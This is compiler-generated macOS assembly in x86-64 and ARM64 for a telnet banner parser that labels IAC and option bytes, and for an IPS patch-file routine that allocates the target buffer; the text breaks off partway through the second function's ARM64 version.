.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .p2align 4, 0x90 ## -- Begin function telnet_parse _telnet_parse: ## @telnet_parse .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %r13 pushq %r12 pushq %rbx subq $56, %rsp .cfi_offset %rbx, -56 .cfi_offset %r12, -48 .cfi_offset %r13, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movq %r9, %rbx movq %r8, %r12 movq %rcx, -88(%rbp) ## 8-byte Spill movq %rdi, %r15 movq 16(%rbp), %r13 movq ___stack_chk_guard@GOTPCREL(%rip), %rax movq (%rax), %rax movq %rax, -48(%rbp) movq %rdx, -72(%rbp) ## 8-byte Spill movl (%rdx), %r14d movq %rsi, %rdi callq _UNUSEDPARM movq %r15, %rdi callq _UNUSEDPARM movq %r13, %rdi callq _UNUSEDPARM movq %r12, -96(%rbp) ## 8-byte Spill movl %r12d, %eax movq %rax, -80(%rbp) ## 8-byte Spill xorl %r12d, %r12d jmp LBB0_1 LBB0_9: ## in Loop: Header=BB0_1 Depth=1 movl (%rax), %esi movsbl %r13b, %edx movq %rbx, %rdi .p2align 4, 0x90 LBB0_36: ## in Loop: Header=BB0_1 Depth=1 callq _banout_append_char LBB0_37: ## in Loop: Header=BB0_1 Depth=1 xorl %r14d, %r14d LBB0_38: ## in Loop: Header=BB0_1 Depth=1 decq %r12 cmpq -96(%rbp), %r12 ## 8-byte Folded Reload ja LBB0_39 LBB0_1: ## =>This Inner Loop Header: Depth=1 cmpl $7, %r14d ja LBB0_2 ## %bb.3: ## in Loop: Header=BB0_1 Depth=1 movq -88(%rbp), %rax ## 8-byte Reload movzbl (%rax,%r12), %r13d movl %r14d, %eax leaq LJTI0_0(%rip), %rcx movslq (%rcx,%rax,4), %rax addq %rcx, %rax jmpq *%rax LBB0_32: ## in Loop: Header=BB0_1 Depth=1 movl %r13d, %edi callq _option_name_lookup movq %rax, %r15 testq %rax, %rax je LBB0_33 ## %bb.34: ## in Loop: Header=BB0_1 Depth=1 cmpb $0, (%r15) jne LBB0_35 jmp LBB0_37 LBB0_33: ## in Loop: Header=BB0_1 Depth=1 leaq -64(%rbp), %r15 movq %r15, %rdi movl $16, %esi leaq L_.str.13(%rip), %rdx movl %r13d, %ecx callq _sprintf_s cmpb $0, (%r15) je LBB0_37 LBB0_35: ## in Loop: Header=BB0_1 Depth=1 movq _PROTO_TELNET@GOTPCREL(%rip), %r13 movl (%r13), %esi movq %rbx, %rdi movl $32, %edx callq _banout_append_char movl (%r13), %esi addl $-2, %r14d leaq _telnet_parse.foobar.rel(%rip), %rax movslq (%rax,%r14,4), %rdx addq %rax, %rdx movq _AUTO_LEN@GOTPCREL(%rip), %r14 movl (%r14), %ecx movq %rbx, %rdi callq _banout_append movl (%r13), %esi movq %rbx, %rdi movl $40, %edx callq _banout_append_char movl (%r13), %esi movl (%r14), %ecx movq %rbx, %rdi movq %r15, %rdx callq _banout_append movl (%r13), %esi movq %rbx, %rdi movl $41, %edx jmp LBB0_36 LBB0_4: ## in Loop: Header=BB0_1 Depth=1 cmpl $255, %r13d je LBB0_5 ## %bb.6: ## in Loop: Header=BB0_1 Depth=1 cmpl $13, %r13d je LBB0_37 ## %bb.7: ## in Loop: Header=BB0_1 Depth=1 movq _PROTO_TELNET@GOTPCREL(%rip), %rax cmpl $10, %r13d jne LBB0_9 ## %bb.8: ## in Loop: Header=BB0_1 Depth=1 movl (%rax), %esi movq _AUTO_LEN@GOTPCREL(%rip), %rax movl (%rax), %ecx movq %rbx, %rdi leaq L_.str.4(%rip), %rdx callq _banout_append jmp LBB0_37 LBB0_10: ## in Loop: Header=BB0_1 Depth=1 addl $-240, %r13d cmpl $14, %r13d ja LBB0_25 ## %bb.11: ## in Loop: Header=BB0_1 Depth=1 xorl %r14d, %r14d leaq LJTI0_1(%rip), %rcx movslq (%rcx,%r13,4), %rax addq %rcx, %rax jmpq *%rax LBB0_14: ## in Loop: Header=BB0_1 Depth=1 movq _PROTO_TELNET@GOTPCREL(%rip), %rax movl (%rax), %esi movq _AUTO_LEN@GOTPCREL(%rip), %rax movl (%rax), %ecx movq %rbx, %rdi leaq L_.str.6(%rip), %rdx callq _banout_append jmp LBB0_38 LBB0_26: ## in Loop: Header=BB0_1 Depth=1 cmpl $255, %r13d movl $7, %r14d movl $1, %eax cmovel %eax, %r14d jmp LBB0_38 LBB0_27: ## in Loop: Header=BB0_1 Depth=1 movl %r13d, %edi callq _option_name_lookup movq %rax, %r15 testq %rax, %rax je LBB0_28 ## %bb.29: ## in Loop: Header=BB0_1 Depth=1 cmpb $0, (%r15) je LBB0_31 LBB0_30: ## in Loop: Header=BB0_1 Depth=1 movq _PROTO_TELNET@GOTPCREL(%rip), %r14 movl (%r14), %esi movq %rbx, %rdi movl $32, %edx callq _banout_append_char movl (%r14), %esi movq _AUTO_LEN@GOTPCREL(%rip), %r13 movl (%r13), %ecx movq %rbx, %rdi leaq L_.str.14(%rip), %rdx callq _banout_append movl (%r14), %esi movq %rbx, %rdi movl $40, %edx callq _banout_append_char movl (%r14), %esi movl (%r13), %ecx movq %rbx, %rdi movq %r15, %rdx callq _banout_append movl (%r14), %esi movq %rbx, %rdi movl $41, %edx callq _banout_append_char LBB0_31: ## in Loop: Header=BB0_1 Depth=1 movl $7, %r14d jmp LBB0_38 LBB0_2: ## in Loop: Header=BB0_1 Depth=1 movq -80(%rbp), %r12 ## 8-byte Reload jmp LBB0_38 LBB0_28: ## in Loop: Header=BB0_1 Depth=1 leaq -64(%rbp), %r15 movq %r15, %rdi movl $16, %esi leaq L_.str.13(%rip), %rdx movl %r13d, %ecx callq _sprintf_s cmpb $0, (%r15) jne LBB0_30 jmp LBB0_31 LBB0_5: ## in Loop: Header=BB0_1 Depth=1 movl $1, %r14d jmp LBB0_38 LBB0_24: ## in Loop: Header=BB0_1 Depth=1 movl $3, %r14d jmp LBB0_38 LBB0_21: ## in Loop: Header=BB0_1 Depth=1 movl $4, %r14d jmp LBB0_38 LBB0_15: ## in Loop: Header=BB0_1 Depth=1 movq _PROTO_TELNET@GOTPCREL(%rip), %rax movl (%rax), %esi movq _AUTO_LEN@GOTPCREL(%rip), %rax movl (%rax), %ecx movq %rbx, %rdi leaq L_.str.8(%rip), %rdx callq _banout_append jmp LBB0_38 LBB0_22: ## in Loop: Header=BB0_1 Depth=1 movl $5, %r14d jmp LBB0_38 LBB0_19: ## in Loop: Header=BB0_1 Depth=1 movq _PROTO_TELNET@GOTPCREL(%rip), %rax movl (%rax), %esi movq _AUTO_LEN@GOTPCREL(%rip), %rax movl (%rax), %ecx movq %rbx, %rdi leaq L_.str.12(%rip), %rdx callq _banout_append jmp LBB0_38 LBB0_25: ## in Loop: Header=BB0_1 Depth=1 movl $8, %r14d jmp LBB0_38 LBB0_13: ## in Loop: Header=BB0_1 Depth=1 movq _PROTO_TELNET@GOTPCREL(%rip), %rax movl (%rax), %esi movq _AUTO_LEN@GOTPCREL(%rip), %rax movl (%rax), %ecx movq %rbx, %rdi leaq L_.str.7(%rip), %rdx callq _banout_append jmp LBB0_38 LBB0_17: ## in Loop: Header=BB0_1 Depth=1 movq _PROTO_TELNET@GOTPCREL(%rip), %rax movl (%rax), %esi movq _AUTO_LEN@GOTPCREL(%rip), %rax movl (%rax), %ecx movq %rbx, %rdi leaq L_.str.10(%rip), %rdx callq _banout_append jmp LBB0_38 LBB0_16: ## in Loop: Header=BB0_1 Depth=1 movq _PROTO_TELNET@GOTPCREL(%rip), %rax movl (%rax), %esi movq _AUTO_LEN@GOTPCREL(%rip), %rax movl (%rax), %ecx movq %rbx, %rdi leaq L_.str.9(%rip), %rdx callq _banout_append jmp LBB0_38 LBB0_23: ## in Loop: Header=BB0_1 Depth=1 movl $2, %r14d jmp LBB0_38 LBB0_12: ## in Loop: Header=BB0_1 Depth=1 movq _PROTO_TELNET@GOTPCREL(%rip), %rax movl (%rax), %esi movq _AUTO_LEN@GOTPCREL(%rip), %rax movl (%rax), %ecx movq %rbx, %rdi leaq L_.str.5(%rip), %rdx callq _banout_append jmp LBB0_38 LBB0_20: ## in Loop: Header=BB0_1 Depth=1 movl $6, %r14d jmp LBB0_38 LBB0_18: ## in Loop: Header=BB0_1 Depth=1 movq _PROTO_TELNET@GOTPCREL(%rip), %rax movl (%rax), %esi movq _AUTO_LEN@GOTPCREL(%rip), %rax movl (%rax), %ecx movq %rbx, %rdi leaq L_.str.11(%rip), %rdx callq _banout_append jmp LBB0_38 LBB0_39: movq -72(%rbp), %rax ## 8-byte Reload movl %r14d, (%rax) movq ___stack_chk_guard@GOTPCREL(%rip), %rax movq (%rax), %rax cmpq -48(%rbp), %rax jne LBB0_41 ## %bb.40: addq $56, %rsp popq %rbx popq %r12 popq %r13 popq %r14 popq %r15 popq %rbp retq LBB0_41: callq ___stack_chk_fail .cfi_endproc .p2align 2, 0x90 .data_region jt32 .set L0_0_set_4, LBB0_4-LJTI0_0 .set L0_0_set_10, LBB0_10-LJTI0_0 .set L0_0_set_32, LBB0_32-LJTI0_0 .set L0_0_set_27, LBB0_27-LJTI0_0 .set L0_0_set_26, LBB0_26-LJTI0_0 LJTI0_0: .long L0_0_set_4 .long L0_0_set_10 .long L0_0_set_32 .long L0_0_set_32 .long L0_0_set_32 .long L0_0_set_32 .long L0_0_set_27 .long L0_0_set_26 .set L0_1_set_38, LBB0_38-LJTI0_1 .set L0_1_set_14, LBB0_14-LJTI0_1 .set L0_1_set_13, LBB0_13-LJTI0_1 .set L0_1_set_15, LBB0_15-LJTI0_1 .set L0_1_set_16, LBB0_16-LJTI0_1 .set L0_1_set_12, LBB0_12-LJTI0_1 .set L0_1_set_17, LBB0_17-LJTI0_1 .set L0_1_set_18, LBB0_18-LJTI0_1 .set L0_1_set_19, LBB0_19-LJTI0_1 .set L0_1_set_20, LBB0_20-LJTI0_1 .set L0_1_set_21, LBB0_21-LJTI0_1 .set L0_1_set_22, LBB0_22-LJTI0_1 .set L0_1_set_23, LBB0_23-LJTI0_1 .set L0_1_set_24, LBB0_24-LJTI0_1 LJTI0_1: .long L0_1_set_38 .long L0_1_set_14 .long L0_1_set_13 .long L0_1_set_14 .long L0_1_set_15 .long L0_1_set_16 .long L0_1_set_12 .long L0_1_set_17 .long L0_1_set_18 .long L0_1_set_19 .long L0_1_set_20 .long L0_1_set_21 .long L0_1_set_22 .long L0_1_set_23 .long L0_1_set_24 .end_data_region ## -- End function .section __TEXT,__const .p2align 2, 0x0 ## @telnet_parse.foobar.rel _telnet_parse.foobar.rel: .long L_.str-_telnet_parse.foobar.rel .long L_.str.1-_telnet_parse.foobar.rel .long L_.str.2-_telnet_parse.foobar.rel .long L_.str.3-_telnet_parse.foobar.rel .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "DO" L_.str.1: ## @.str.1 .asciz "DONT" L_.str.2: ## @.str.2 .asciz "WILL" L_.str.3: ## @.str.3 .asciz "WONT" .comm _PROTO_TELNET,4,2 ## @PROTO_TELNET L_.str.4: ## @.str.4 .asciz "\\n " .comm _AUTO_LEN,4,2 ## @AUTO_LEN L_.str.5: ## @.str.5 .asciz " IAC(AYT)" L_.str.6: ## @.str.6 .asciz " IAC(NOP)" L_.str.7: ## @.str.7 .asciz " IAC(MRK)" L_.str.8: ## @.str.8 .asciz " IAC(INT)" L_.str.9: ## @.str.9 .asciz " IAC(ABRT)" L_.str.10: ## @.str.10 .asciz " IAC(EC)" L_.str.11: ## @.str.11 .asciz " IAC(EL)" L_.str.12: ## @.str.12 .asciz " IAC(GA)" L_.str.13: ## @.str.13 .asciz "0x%02x" L_.str.14: ## @.str.14 .asciz "SB" .comm _FLAG_WONT,1,0 ## @FLAG_WONT .comm _FLAG_DONT,1,0 ## @FLAG_DONT .comm _FLAG_WILL,1,0 ## @FLAG_WILL .comm _FLAG_DO,1,0 ## @FLAG_DO .comm _r_length,4,2 ## @r_length .no_dead_strip _telnet_parse .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .p2align 2 ; -- Begin function telnet_parse _telnet_parse: ; @telnet_parse .cfi_startproc ; %bb.0: sub sp, sp, #128 stp x28, x27, [sp, #32] ; 16-byte Folded Spill stp x26, x25, [sp, #48] ; 16-byte Folded Spill stp x24, x23, [sp, #64] ; 16-byte Folded Spill stp x22, x21, [sp, #80] ; 16-byte Folded Spill stp x20, x19, [sp, #96] ; 16-byte Folded Spill stp x29, x30, [sp, #112] ; 16-byte Folded Spill add x29, sp, #112 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 .cfi_offset w23, -56 .cfi_offset w24, -64 .cfi_offset w25, -72 .cfi_offset w26, -80 .cfi_offset w27, -88 .cfi_offset w28, -96 mov x23, x6 mov x19, x5 mov x20, x4 mov x22, x3 mov x24, x0 Lloh0: adrp x8, ___stack_chk_guard@GOTPAGE Lloh1: ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF] Lloh2: ldr x8, [x8] str x8, [sp, #24] str x2, [sp] ; 8-byte Folded Spill ldr w27, [x2] mov x0, x1 bl _UNUSEDPARM mov x0, x24 bl _UNUSEDPARM mov x0, x23 bl _UNUSEDPARM mov x28, #0 ; =0x0 Lloh3: adrp x24, _PROTO_TELNET@GOTPAGE Lloh4: ldr x24, [x24, _PROTO_TELNET@GOTPAGEOFF] Lloh5: adrp x23, _AUTO_LEN@GOTPAGE Lloh6: ldr x23, [x23, _AUTO_LEN@GOTPAGEOFF] mov w25, w20 LBB0_1: ; =>This Inner Loop Header: Depth=1 ldrb w26, [x22, x28] cmp w27, #1 b.le LBB0_5 ; %bb.2: ; in Loop: Header=BB0_1 Depth=1 sub w21, w27, #2 cmp w21, #4 b.hs LBB0_10 ; %bb.3: ; in Loop: Header=BB0_1 Depth=1 mov x0, x26 bl _option_name_lookup mov x27, x0 cbz x0, LBB0_12 ; %bb.4: ; in Loop: Header=BB0_1 Depth=1 ldrb w8, [x27] cbnz w8, LBB0_13 b LBB0_15 LBB0_5: ; in Loop: Header=BB0_1 Depth=1 cbz w27, LBB0_19 ; %bb.6: ; in Loop: Header=BB0_1 Depth=1 mov x8, x25 cmp w27, #1 b.ne LBB0_17 ; %bb.7: ; in Loop: Header=BB0_1 Depth=1 sub w8, w26, #240 cmp w8, #14 b.hi LBB0_36 ; %bb.8: ; in Loop: Header=BB0_1 Depth=1 mov w27, #0 ; =0x0 Lloh7: adrp x11, lJTI0_0@PAGE Lloh8: add x11, x11, lJTI0_0@PAGEOFF adr x9, LBB0_9 ldrb w10, [x11, x8] add x9, x9, x10, lsl #2 mov x8, x28 br x9 LBB0_9: ; in Loop: Header=BB0_1 Depth=1 ldr w1, [x24] ldr w3, [x23] mov x0, x19 Lloh9: adrp x2, l_.str.6@PAGE Lloh10: add x2, x2, l_.str.6@PAGEOFF bl _banout_append b LBB0_15 LBB0_10: ; in Loop: Header=BB0_1 Depth=1 cmp w27, #6 b.eq LBB0_23 ; %bb.11: ; in Loop: Header=BB0_1 Depth=1 cmp w26, #255 mov w8, #7 ; =0x7 csinc w8, w8, wzr, ne cmp w27, #7 csel w27, w8, w27, eq csel x8, x28, x25, eq b LBB0_17 LBB0_12: ; in Loop: Header=BB0_1 Depth=1 add x27, sp, #8 add x0, sp, #8 mov w1, #16 ; =0x10 Lloh11: adrp x2, l_.str.13@PAGE Lloh12: add x2, x2, l_.str.13@PAGEOFF mov x3, x26 bl _sprintf_s ldrb w8, [x27] cbz w8, LBB0_15 LBB0_13: ; in Loop: Header=BB0_1 Depth=1 ldr w1, [x24] mov x0, x19 mov w2, #32 ; =0x20 bl _banout_append_char ldr w1, [x24] Lloh13: adrp x8, _telnet_parse.foobar@PAGE Lloh14: add x8, x8, _telnet_parse.foobar@PAGEOFF ldr x2, [x8, w21, uxtw #3] ldr w3, [x23] mov x0, x19 bl _banout_append ldr w1, [x24] mov x0, x19 mov w2, #40 ; =0x28 bl _banout_append_char ldr w1, [x24] ldr w3, [x23] mov x0, x19 mov x2, x27 bl _banout_append ldr w1, [x24] mov x0, x19 mov w2, #41 ; =0x29 LBB0_14: ; in Loop: Header=BB0_1 Depth=1 bl _banout_append_char LBB0_15: ; in Loop: Header=BB0_1 Depth=1 mov w27, #0 ; =0x0 LBB0_16: ; in Loop: Header=BB0_1 Depth=1 mov x8, x28 LBB0_17: ; in Loop: Header=BB0_1 Depth=1 mov x28, x8 LBB0_18: ; in Loop: Header=BB0_1 Depth=1 sub x28, x28, #1 cmp x28, x20 b.ls LBB0_1 b LBB0_44 LBB0_19: ; in Loop: Header=BB0_1 Depth=1 cmp w26, #255 b.eq LBB0_29 ; %bb.20: ; in Loop: Header=BB0_1 Depth=1 cmp w26, #13 b.eq LBB0_28 ; %bb.21: ; in Loop: Header=BB0_1 Depth=1 cmp w26, #10 b.ne LBB0_30 ; %bb.22: ; in Loop: Header=BB0_1 Depth=1 ldr w1, [x24] ldr w3, [x23] mov x0, x19 Lloh15: adrp x2, l_.str.4@PAGE Lloh16: add x2, x2, l_.str.4@PAGEOFF bl _banout_append b LBB0_15 LBB0_23: ; in Loop: Header=BB0_1 Depth=1 mov x0, x26 bl _option_name_lookup mov x27, x0 cbz x0, LBB0_27 ; %bb.24: ; in Loop: Header=BB0_1 Depth=1 ldrb w8, [x27] cbz w8, LBB0_26 LBB0_25: ; in Loop: Header=BB0_1 Depth=1 ldr w1, [x24] mov x0, x19 mov w2, #32 ; =0x20 bl _banout_append_char ldr w1, [x24] ldr w3, [x23] mov x0, x19 Lloh17: adrp x2, l_.str.14@PAGE Lloh18: add x2, x2, l_.str.14@PAGEOFF bl _banout_append ldr w1, [x24] mov x0, x19 mov w2, #40 ; =0x28 bl _banout_append_char ldr w1, [x24] ldr w3, [x23] mov x0, x19 mov x2, x27 bl _banout_append ldr w1, [x24] mov x0, x19 mov w2, #41 ; =0x29 bl _banout_append_char LBB0_26: ; in Loop: Header=BB0_1 Depth=1 mov w27, #7 ; =0x7 b LBB0_16 LBB0_27: ; in Loop: Header=BB0_1 Depth=1 add x27, sp, #8 add x0, sp, #8 mov w1, #16 ; =0x10 Lloh19: adrp x2, l_.str.13@PAGE Lloh20: add x2, x2, l_.str.13@PAGEOFF mov x3, x26 bl _sprintf_s ldrb w8, [x27] cbnz w8, LBB0_25 b LBB0_26 LBB0_28: ; in Loop: Header=BB0_1 Depth=1 mov w27, #0 ; =0x0 b LBB0_18 LBB0_29: ; in Loop: Header=BB0_1 Depth=1 mov w27, #1 ; =0x1 b LBB0_16 LBB0_30: ; in Loop: Header=BB0_1 Depth=1 ldr w1, [x24] sxtb w2, w26 mov x0, x19 b LBB0_14 LBB0_31: ; in Loop: Header=BB0_1 Depth=1 mov w27, #3 ; =0x3 b LBB0_16 LBB0_32: ; in Loop: Header=BB0_1 Depth=1 mov w27, #4 ; =0x4 b LBB0_16 LBB0_33: ; in Loop: Header=BB0_1 Depth=1 ldr w1, [x24] ldr w3, [x23] mov x0, x19 Lloh21: adrp x2, l_.str.8@PAGE Lloh22: add x2, x2, l_.str.8@PAGEOFF bl _banout_append b LBB0_15 LBB0_34: ; in Loop: Header=BB0_1 Depth=1 mov w27, #5 ; =0x5 b LBB0_16 LBB0_35: ; in Loop: Header=BB0_1 Depth=1 ldr w1, [x24] ldr w3, [x23] mov x0, x19 Lloh23: adrp x2, l_.str.12@PAGE Lloh24: add x2, x2, l_.str.12@PAGEOFF bl _banout_append b LBB0_15 LBB0_36: ; in Loop: Header=BB0_1 Depth=1 mov w27, #8 ; =0x8 b LBB0_16 LBB0_37: ; in Loop: Header=BB0_1 Depth=1 ldr w1, [x24] ldr w3, [x23] mov x0, x19 Lloh25: adrp x2, l_.str.7@PAGE Lloh26: add x2, x2, l_.str.7@PAGEOFF bl _banout_append b LBB0_15 LBB0_38: ; in Loop: Header=BB0_1 Depth=1 ldr w1, [x24] ldr w3, [x23] mov x0, x19 Lloh27: adrp x2, l_.str.10@PAGE Lloh28: add x2, x2, l_.str.10@PAGEOFF bl _banout_append b LBB0_15 LBB0_39: ; in Loop: Header=BB0_1 Depth=1 ldr w1, [x24] ldr w3, [x23] mov x0, x19 Lloh29: adrp x2, l_.str.9@PAGE Lloh30: add x2, x2, l_.str.9@PAGEOFF bl _banout_append b LBB0_15 LBB0_40: ; in Loop: Header=BB0_1 Depth=1 mov w27, #2 ; =0x2 b LBB0_16 LBB0_41: ; in Loop: Header=BB0_1 Depth=1 ldr w1, [x24] ldr w3, [x23] mov x0, x19 Lloh31: adrp x2, l_.str.5@PAGE Lloh32: add x2, x2, l_.str.5@PAGEOFF bl _banout_append b LBB0_15 LBB0_42: ; in Loop: Header=BB0_1 Depth=1 mov w27, #6 ; =0x6 b LBB0_16 LBB0_43: ; in Loop: Header=BB0_1 Depth=1 ldr w1, [x24] ldr w3, [x23] mov x0, x19 Lloh33: adrp x2, l_.str.11@PAGE Lloh34: add x2, x2, l_.str.11@PAGEOFF bl _banout_append b LBB0_15 LBB0_44: ldr x8, [sp] ; 8-byte Folded Reload str w27, [x8] ldr x8, [sp, #24] Lloh35: adrp x9, ___stack_chk_guard@GOTPAGE Lloh36: ldr x9, [x9, ___stack_chk_guard@GOTPAGEOFF] Lloh37: ldr x9, [x9] cmp x9, x8 b.ne LBB0_46 ; %bb.45: ldp x29, x30, [sp, #112] ; 16-byte Folded Reload ldp x20, x19, [sp, #96] ; 16-byte Folded Reload ldp x22, x21, [sp, #80] ; 16-byte Folded Reload ldp x24, x23, [sp, #64] ; 16-byte Folded Reload ldp x26, x25, [sp, #48] ; 16-byte Folded Reload ldp x28, x27, [sp, #32] ; 16-byte Folded Reload add sp, sp, #128 ret LBB0_46: bl ___stack_chk_fail .loh AdrpLdrGot Lloh5, Lloh6 .loh AdrpLdrGot Lloh3, Lloh4 .loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2 .loh AdrpAdd Lloh7, Lloh8 .loh AdrpAdd Lloh9, Lloh10 .loh AdrpAdd Lloh11, Lloh12 .loh AdrpAdd Lloh13, Lloh14 .loh AdrpAdd Lloh15, Lloh16 .loh AdrpAdd Lloh17, Lloh18 .loh AdrpAdd Lloh19, Lloh20 .loh AdrpAdd Lloh21, Lloh22 .loh AdrpAdd Lloh23, Lloh24 .loh AdrpAdd Lloh25, Lloh26 .loh AdrpAdd Lloh27, Lloh28 .loh AdrpAdd Lloh29, Lloh30 .loh AdrpAdd Lloh31, Lloh32 .loh AdrpAdd Lloh33, Lloh34 .loh AdrpLdrGotLdr Lloh35, Lloh36, Lloh37 .cfi_endproc .section __TEXT,__const lJTI0_0: .byte (LBB0_17-LBB0_9)>>2 .byte (LBB0_9-LBB0_9)>>2 .byte (LBB0_37-LBB0_9)>>2 .byte (LBB0_9-LBB0_9)>>2 .byte (LBB0_33-LBB0_9)>>2 .byte (LBB0_39-LBB0_9)>>2 .byte (LBB0_41-LBB0_9)>>2 .byte (LBB0_38-LBB0_9)>>2 .byte (LBB0_43-LBB0_9)>>2 .byte (LBB0_35-LBB0_9)>>2 .byte (LBB0_42-LBB0_9)>>2 .byte (LBB0_32-LBB0_9)>>2 .byte (LBB0_34-LBB0_9)>>2 .byte (LBB0_40-LBB0_9)>>2 .byte (LBB0_31-LBB0_9)>>2 ; -- End function .section __DATA,__const .p2align 3, 0x0 ; @telnet_parse.foobar _telnet_parse.foobar: .quad l_.str .quad l_.str.1 .quad l_.str.2 .quad l_.str.3 .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "DO" l_.str.1: ; @.str.1 .asciz "DONT" l_.str.2: ; @.str.2 .asciz "WILL" l_.str.3: ; @.str.3 .asciz "WONT" .comm _PROTO_TELNET,4,2 ; @PROTO_TELNET l_.str.4: ; @.str.4 .asciz "\\n " .comm _AUTO_LEN,4,2 ; @AUTO_LEN l_.str.5: ; @.str.5 .asciz " IAC(AYT)" l_.str.6: ; @.str.6 .asciz " IAC(NOP)" l_.str.7: ; @.str.7 .asciz " IAC(MRK)" l_.str.8: ; @.str.8 .asciz " IAC(INT)" l_.str.9: ; @.str.9 .asciz " IAC(ABRT)" l_.str.10: ; @.str.10 .asciz " IAC(EC)" l_.str.11: ; @.str.11 .asciz " IAC(EL)" l_.str.12: ; @.str.12 .asciz " IAC(GA)" l_.str.13: ; @.str.13 .asciz "0x%02x" l_.str.14: ; @.str.14 .asciz "SB" .comm _FLAG_WONT,1,0 ; @FLAG_WONT .comm _FLAG_DONT,1,0 ; @FLAG_DONT .comm _FLAG_WILL,1,0 ; @FLAG_WILL .comm _FLAG_DO,1,0 ; @FLAG_DO .comm _r_length,4,2 ; @r_length .no_dead_strip _telnet_parse .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .p2align 4, 0x90 ## -- Begin function ips_alloc_targetdata _ips_alloc_targetdata: ## @ips_alloc_targetdata .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %r12 pushq %rbx .cfi_offset %rbx, -48 .cfi_offset %r12, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 ## kill: def $esi killed $esi def $rsi movl %edx, (%r8) leal -3(%rsi), %r9d leal -2(%rsi), %r10d movl $5, %r11d movq _PATCH_PATCH_INVALID@GOTPCREL(%rip), %rax jmp LBB0_2 LBB0_1: ## in Loop: Header=BB0_2 Depth=1 addl %r15d, %ebx cmpl %edx, %ebx jg LBB0_13 .p2align 4, 0x90 LBB0_2: ## =>This Inner Loop Header: Depth=1 cmpl %r9d, %r11d jge LBB0_2 ## %bb.3: ## in Loop: Header=BB0_2 Depth=1 movslq %r11d, %r14 movl (%rdi,%r14,4), %r15d movl 4(%rdi,%r14,4), %ebx shll $16, %r15d shll $8, %ebx orl %r15d, %ebx leal 3(%r11), %r15d orl 8(%rdi,%r14,4), %ebx cmpl $4542278, %ebx ## imm = 0x454F46 jne LBB0_6 ## %bb.4: ## in Loop: Header=BB0_2 Depth=1 cmpl %esi, %r15d je LBB0_14 ## %bb.5: ## in Loop: Header=BB0_2 Depth=1 cmpl %r9d, %r15d je LBB0_17 LBB0_6: ## in Loop: Header=BB0_2 Depth=1 cmpl %r10d, %r15d jg LBB0_19 ## %bb.7: ## in Loop: Header=BB0_2 Depth=1 movslq %r15d, %r15 movl (%rdi,%r15,4), %r15d shll $8, %r15d leal 5(%r11), %r12d orl 16(%rdi,%r14,4), %r15d je LBB0_10 ## %bb.8: ## in Loop: Header=BB0_2 Depth=1 movl %esi, %r11d subl %r15d, %r11d cmpl %r11d, %r12d ja LBB0_19 ## %bb.9: ## in Loop: Header=BB0_2 Depth=1 addl %r15d, %r12d movl %r12d, %r11d jmp LBB0_1 LBB0_10: ## in Loop: Header=BB0_2 Depth=1 cmpl %r9d, %r12d jg LBB0_19 ## %bb.11: ## in Loop: Header=BB0_2 Depth=1 movslq %r12d, %r15 movl (%rdi,%r15,4), %r15d shll $8, %r15d orl 24(%rdi,%r14,4), %r15d je LBB0_19 ## %bb.12: ## in Loop: Header=BB0_2 Depth=1 addl $8, %r11d jmp LBB0_1 LBB0_13: ## in Loop: Header=BB0_2 Depth=1 movl %ebx, (%r8) movl %ebx, %edx jmp LBB0_2 LBB0_14: movq %rcx, %r15 movslq %edx, %rdi jmp LBB0_15 LBB0_17: movq %rcx, %r15 movslq %r9d, %rax movl (%rdi,%rax,4), %eax shll $16, %eax movl 16(%rdi,%r14,4), %ecx shll $8, %ecx orl %eax, %ecx orl 20(%rdi,%r14,4), %ecx movslq %ecx, %rdi movl %edi, (%r8) LBB0_15: callq _malloc testq %rax, %rax je LBB0_16 ## %bb.18: movq %rax, %rbx movq (%r15), %rdi callq _free movq %rbx, (%r15) movq _PATCH_SUCCESS@GOTPCREL(%rip), %rax jmp LBB0_19 LBB0_16: movq _PATCH_TARGET_ALLOC_FAILED@GOTPCREL(%rip), %rax LBB0_19: movl (%rax), %eax popq %rbx popq %r12 popq %r14 popq %r15 popq %rbp retq .cfi_endproc ## -- End function .comm _PATCH_TARGET_ALLOC_FAILED,4,2 ## @PATCH_TARGET_ALLOC_FAILED .comm _PATCH_SUCCESS,4,2 ## @PATCH_SUCCESS .comm _PATCH_PATCH_INVALID,4,2 ## @PATCH_PATCH_INVALID .no_dead_strip _ips_alloc_targetdata .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .p2align 2 ; -- Begin function ips_alloc_targetdata _ips_alloc_targetdata: ; @ips_alloc_targetdata .cfi_startproc ; %bb.0: stp x20, x19, [sp, #-32]! ; 16-byte Folded Spill stp x29, x30, [sp, #16] ; 16-byte Folded Spill add x29, sp, #16 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 ; kill: def $w2 killed $w2 def $x2 str w2, [x4] sub w9, w1, #3 sub w10, w1, #2 mov w12, #5 ; =0x5 mov w11, #20294 ; =0x4f46 movk w11, #69, lsl #16 Lloh0: adrp x8, _PATCH_PATCH_INVALID@GOTPAGE Lloh1: ldr x8, [x8, _PATCH_PATCH_INVALID@GOTPAGEOFF] b LBB0_2 LBB0_1: ; in Loop: Header=BB0_2 Depth=1 add w13, w13, w15 cmp w13, w2 b.gt LBB0_13 LBB0_2: ; =>This Inner Loop Header: Depth=1 cmp w12, w9 b.ge LBB0_2 ; %bb.3: 